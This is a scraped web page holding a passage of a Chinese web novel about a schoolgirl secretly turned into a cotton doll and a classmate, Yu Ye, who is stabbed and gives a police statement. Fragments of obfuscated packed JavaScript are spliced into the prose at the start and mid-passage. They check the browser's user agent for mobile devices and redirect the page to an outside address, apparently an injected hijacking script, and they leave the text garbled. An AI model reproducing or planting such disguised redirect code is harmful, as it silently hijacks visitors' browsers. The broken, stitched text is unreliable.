0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292267|198504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 午,下午背着书包去上学,走到后门,看见最后一排喻也的背影,停下脚步。 课桌上书包打开,书全都取了出去,他低着头,盯着空空如也的包,不知神色。 明萝抓紧书包带,绕远路,走前门进教室。 刚坐下,身后似乎传来一声冷笑。 预备铃打响,几个男生抱着篮球,从后门进班。 路过喻也,其中一人声音惊喜:“也哥桌上怎么有两瓶水,我口渴死了,来一瓶救救急哈……” “哎哟!” 只听瓶子拿放重响,男生呲牙咧嘴,“烫死了,你哪买的矿泉水,放微波炉里叮了啊?!” 喻也冷硬地说:“爱喝不喝。” 他一听就心情很差,男生连忙说喝喝喝,麻溜地跑了。 陈莉佳回过头,小声对明萝咬耳朵:“喻也吃枪药了啊?” 殊不知,明萝应该就是那个,给他喂枪子的人。 哦不。 喂枪子的娃。 想到陈莉佳之前对喻也的评价,她小声为他解释:“估计是又丢了什么东西,心情不好吧,你看他就是表情冷了些,语气差了些,但是不会做什么,不坏的。” 陈莉佳听完,眯起眼看着她,煞有介事地点了点头:“哦——” 明萝忙问:“怎么了?” “没怎么啊。”陈莉佳笑眯眯地说,“你人真好。” 好吗? 可是她让喻也变得不开心。 陈莉佳转过去后,明萝低下眼睛,在草稿本上画圈圈。 整个下午心烦意乱。 晚自习前,缭乱的霞光落满天。教室外的走廊,喻也靠着栏杆,衣摆被晚风轻轻吹起。 他面无表情,看上去除了冷淡,多了分沉郁。 明萝假装出门,扔了好几次垃圾,每次路过,都没敢上去搭话。 又一次,她背对着他,站在垃圾桶前,深吸一口气。 预想了一下。 预想1。 明萝:“你怎么了,是不是又丢东西了,需要我帮你找吗?” 喻也:“和你没关系。” 明萝:“哦。” 预想2。 明萝:“其实,我就是你丢的那个娃娃。” 喻也掀起眼皮。 “你别不信。你卧室里有一个大木柜,里面全是娃娃。你每周末会去火拼,哦就是和教练打拳,但是上周……” 喻也眸光蓦然锐利,掐住她的下巴:“你知道得太多了。” 好吧。 更可能的是,从此退避三舍,一看见她,就尴尬到掉头就走。 明萝立刻否决这个思路。 预想3。 喻也:“不用了,我找了张同学,篮球队友和其他朋友们帮我。” 纸团掉进垃圾桶。 明萝转身朝教室走,再次与喻也擦肩而过,依旧没有吭声。 一阵风吹过,后门摇开,又摆回去,发出一声老旧的叩响,虚掩起来。 喻也瞥向女生总是逃也似的背影,垂下睫毛。 空荡的掌心,抓了抓空气,似乎还残存着棉花的触感。 又一阵风。 刚才是从他吹向她,现在反过来。 反正都一样。 喻也抿了抿唇,忽然在这阵风里,闻见一缕淡淡的清香。 和麻烦精身上的香味,一模一样。 他猛地抬起眼。 明萝的手扣在门把手上,发丝在风中轻飘,朝着他的方向。 7. 棉花娃娃07 明萝正要推门,袖口被紧紧揪住。 她回过眸,第一次以人形,和喻也这样近距离地对视。 心脏快跳到嗓子眼,明萝像是不会说话了,干巴巴道:“怎么了。” 喻也睫毛闪烁,蓦地收回手,插进外套兜里。 漆黑的眼睛看着她,满是探究。 明萝更加慌张,生怕他发现了什么:“怎么了啊?” 四目相对,喻也注意到她颤抖的瞳孔,扯了下嘴角,退回后面的栏杆。 “抱歉。”他轻声说,“……刚有点错觉。” 明萝一头雾水。 但好在应该没有被猜到,她就是他丢失的娃娃。 她忙回到座位,接下来一整晚,都坐得很靠前,恨不得把身体埋进课桌,让喻也看不到她。 第二节晚自习,老师安排小考,交完卷就可以回家。 题目基础,明萝做完,倒回去检查。 身后传来收拾书包的声音,没多久,喻也挎着包,直接交卷走人。 明萝担心他又要去满大街找娃娃,还有之前那三个朋友说的,肖梓涵的事。她飞快地列着算式,检查完,背上书包,就冲出教室。 先跑到那家精品店,在附近转了好几圈,都没找到喻也的身影。 正一筹莫展,转角另一边,响起几个男生压低的说话声。 “梓涵哥,现在怎么办?要不趁他受伤,我们找过去把人打服,让他保证不会说出去?” “闭嘴!喻也就是被捅了一刀,把你打趴下,那也是小菜一碟。” 喻也受伤了! 明萝倒吸一口凉气,心都揪起来。 她小心翼翼,探出半个头去看,却发现叫做梓涵的男生——应该就是那个肖梓涵,正是她报到那天,被喻也揍得眼中光都消失了的人。 居然真的是他! 不会是来寻仇的吧? 虽然听吴教练的意思,肖梓涵被喻也救过,理论上不该恩将仇报,但明萝看着他周围几人的表情,心里越来越不安。 她立刻掏出手机,给喻也通风报信。 “那咋办啊梓涵哥,上次在校园墙那事闹大了,我爸被叫过去喝茶,回家就给我揍了一顿,这次要是喻也告诉老师,我非得被扒掉一层皮不可!” “我还想问你们呢!不都说了到此为止,谁让你们自己跑来骚扰喻也的?那谁还带刀,想进少管所啊?” “他说带把刀,撑撑场子,谁知道他们几个人一起上,都打不过喻也一个,就想偷袭,不是,一开始只是想威慑一下……” 另一人插嘴:“那还不是怪喻也自己先多管闲事,都上高二了,来管咱们初中部行侠仗义,真以为他还是梓涵哥的队长啊?要不是他上回把你打了一顿,我们也不会找他麻烦。” “你懂个屁!他那是——” 肖梓涵暴怒不已,话说一半,却没了声。 不远处,补习班放学,一群小学生涌下楼,他们嘀咕几句,商量着先离开这里。 脚步声即将迈过转角,明萝吓了一跳,正左顾右盼,身后紧闭的铁门开了条缝。 一只手抓住她书包的带子,把她拽了进去。 明萝心跳骤停。 视野变暗,书包撞到身后坚硬的身体,她差点叫出声,却有一股熟悉的香味钻入鼻尖。 嘴巴还没来得及合上,明萝转过身,喻也面色苍白,淡淡地朝她挑一下眉。 铁门中间嵌了块单向玻璃,刚才那几个男生匆匆走过。 昏暗狭窄的楼道,她骤然放松,舒了口气。 喻也眸光微动,松开她的书包,转身走远。 明萝顿了一下,脚步轻轻地跟上去。 他的书包垫了几张手帕纸,放在楼梯口的旧桌子上。旁边还有一袋伤药,碘伏和棉签都已经拆了包装,看起来,她来之前,他就在这里处理伤口。 喻也拿起棉签,似乎才发现她还在,表情有些惊讶。 明萝变成娃娃,自诩跟他相熟的时候,也没有对话过。现在更是不知道说什么,对视几秒,憋出一句废话:“你受伤了。” 喻也“嗯”了一声,依旧看着她。 明萝按亮手机:“打120吧,还有110……” 光一照,她才看到放在桌角的那把刀。 话音戛然而止,手机都没拿稳,掉到地上,还好有手机壳护体。 喻也扫了一眼,蹙起眉,把刀用纸包着塞进书包里,说:“皮肉伤,报过警了,还有一会才能到。” 明萝这才放心。 一抬眼,喻也那双眼睛,又倒映着她。 手机是这里唯一的光源,反射到他眼里,像关了灯,给生日蛋糕点蜡烛,亮起来的那一点烛火,点在她倒影上。 明萝心里生出一丝奇怪的感觉,小声问:“我脸上有东西吗?” 喻也微微眯眼,手撑桌子,凑近了些。 当娃娃时,她不是没有被他仔细看过,但变成人,那种被注视的感觉,也像等比例放大。 周围静得能听见心跳。 很响。 很错杂。 终于,他说:“没有。” “哦。”明萝讷讷,“那你看我干嘛。” 喻也淡道:“我要上药。” 他很短促地掀了掀校服下摆。 精壮的腹肌一闪而过,明萝恍然大悟,红着脸转过身,背对他。 但其实,她早就看过了…… 明萝暗自腹诽,脸上的温度却久久没散。 喻也收回眼,指尖转了转棉签,打开碘伏的盖子。 自此,窄小空间里,那股与某只棉花娃娃一模一样的味道,才被冲淡几分。 错不了。 棉棒沾着药液,在伤口擦拭,十分狰狞。 如果她现在转过来看见,恐怕又会露出害怕的表情。 喻也眸光明灭,盯着明萝一动不动的背影,眼神越来越深。 身后传来合上盖子的声音,又过了一会,明萝估摸着他已经收拾好了,转回去问:“为什么要躲在这里上药啊,外面那些人还会追过来吗?” “不会。”喻也解释,“斜对面有几个少儿补习班,刚才一个小孩下楼,被我身上的血吓哭了。” 明萝想了想那个画面:“是挺可怕的。” 所以他才专门找到这个老楼道吗?她睫毛一动,眼睛亮亮地看着他。 喻也喉结动了动:“那你呢?” “什么?” “你不怕了?” 明萝还没回答,他沉声说,“胆子小就别听这种墙角,万一遇到真的坏人,你想过怎么办没有?” 女孩欲言又止,别开脸,“哦”了一声。 喻也抿了抿唇,放轻声音:“你家长今天在吗?可以打电话让他们来接。” “不在。”明萝闷闷地说,“他们在原来的城市,还有段时间才能过来。” 喻也皱起眉,这时,他的手机震动起来。 是警察来了,要来接他去做笔录。 挂断通话,明萝率先开口:“我跟你一起去,给你作证,你是单纯的受害者。” 喻也露出不赞同的表情,明萝抱起他的书包,就往外面走。 他又一次看见她的背影。 这次也是在离他远去,却不是逃离。 漆黑的楼道尽头,门被开一条缝,对面一排小店的灯照进来,模糊了女生的边缘,整个人都浸在光里。 警局里,喻也带着刀,进去做笔录,那三个染发的“不良”朋友押着几个男生,还有肖梓涵,后来一步。 据他们说,今天三人在琴房练完歌,碰到刚制服完那几个男生的喻也,就顺手帮忙把人绑起来看着。 因为没有参与,警察让他们先离开,三人不走,蹲在明萝旁边聊天。 “肖梓涵搞什么鬼,喻也对他那么好,他跟那帮小弟胡说八道什么?” “就是,还说喻也打他,他当初被同学欺负,还是喻也帮他搜集证据报的警呢!” “咳,确实是打了,但不是他们以为的那样。” 明萝立马偷瞥了眼说话的人,正是最初在精品店门口叫住喻也,手里拿着一包烟的男生。 她不着痕迹地坐近了点,竖起耳朵听。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292268|198504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那人没注意到她,接着说:“吴谋,还记得不?他们拳击社之前那个教练,后来进去的那个。” “记得啊,当年初中那么多社团,就他们拳击社最威风,一个兴趣社团跑去参加专业比赛,还拿了奖,虽说主要是吴教练跟喻也两个人的功劳,那也够吹好久的了。你看肖梓涵,不就是跟着喻也进了拳击社,现在才收服这么多小弟,要不是吴谋入狱,社团解散,恐怕也能拿个团体奖。” “是啊。我听之前也在拳击社的同学说,吴谋拜托喻也去办理解散手续,谁知肖梓涵那傻狗跟疯了一样,硬说社团是大家的家,不许解散,还把喻也恨上了。” “喻也在社团里是大哥,肖梓涵就也想当大哥,盖过他以前的风头,这不前段时间,天天在初中部捕风捉影,听到类似校园霸凌的事,也不管真的假的,直接校园墙喊话,把人找出来打一顿。我那天听到人议论,说好多单纯想收拾死对头,本身没受过欺负的人,也在底下浑水摸鱼,让肖梓涵他们去堵人,就觉得要坏事。我跟喻也说了这个事,他第二天就约肖梓涵在那条巷子里见面。 肖梓涵狂得不行,放话说喻也两年没实战过,估计宝刀早老;他们来久违地赛一局,要是喻也能打过他,那他就就此收手,再也不去‘伸张正义’。” “然后呢?” 男生两手一摊:“然后……那肯定是肖梓涵被打趴了呗!你们可别告诉喻也啊,周五早上,我就蹲在附近看热闹。肖梓涵连还手的能力都没有,要不是认识他俩,我真跟吴谋一样,以为一个一米九壮汉压着条瘦猴暴揍呢。” 明萝羞愧地低下头。 那天早上,她就是这样以为的。 突然很庆幸,上天让她变成了娃娃,一只遇见喻也的娃娃。 如果没有通过这样的方式,从男生、吴教练那里了解他,恐怕她现在,还会看见他就跑掉吧。 没过多久,警察送喻也出来,他正在和家里通电话,挂断后,被那个捅刀男孩的妈妈追着道歉,话里话外,都是请求他原谅她的孩子,不要追究责任。 警察皱眉拦住她:“这个问题,等过几天双方家长正式见面时再谈,你堵着孩子讲什么?” 女人低声下气,喻也抿了抿唇,说:“我可以接受他的道歉。” 没有再看对方破涕为笑的脸,他语气严肃,“但是,他必须得到相应的惩罚。有一位选手说过,身怀武力,挥拳必须比常人更谨慎,如果今天不是我,是一个没有自保能力的人,就不只是皮肉伤这么简单了。” 明萝远远看着喻也说话的侧脸,警局灯光通明,亮白色,沐在他高挺的身上。 她的眼睛睁太久,有些酸,却迟迟不想眨动一下。 告别那些人,喻也看向明萝他们的方向,神情略微变化,似乎不大自然。 他走了过来,三个男生“腾”地站起来迎接,喻也皱眉:“还不走,几点了。” “等你啊大哥,伤没事吧,医生刚进去检查,都不让我们跟去看。” 就是就是。 明萝也担心地瞥了一眼他的腰。 警察叔叔笑道:“这是派出所,又不是动物园,不带参观的啊。行了,你们都快点回家。” 三个男生唉声叹气,喻也不知在发什么呆,后知后觉,替他们应了声好。 他把垮在腰边的书包随手拨到身后,对警察叔叔道谢。 警察拍拍他的肩,又瞅了那奇装异服,发色鲜艳的三人一眼:“小孩子家家,学校让你们染头发?” 明萝早就想问了。 她跟在后面,抬起眼睛,好奇地看过去。 却见三人齐刷刷摘下了彩毛,露出下面黑黢黢的寸头。 场面之壮观,警察没忍住,她也没忍住,笑出了声。 她笑声太小,三个男生没听见,一窝蜂围上那位中年警察,你一言我一语地宣传起他们的“朋克精神”,还说每次放学后义演,都会装备齐全,邀请他下周来看。 闹腾腾的声音里,明萝不知不觉,就笑着看向喻也。 他也正在看她。 目光淡淡的,同样似有笑意。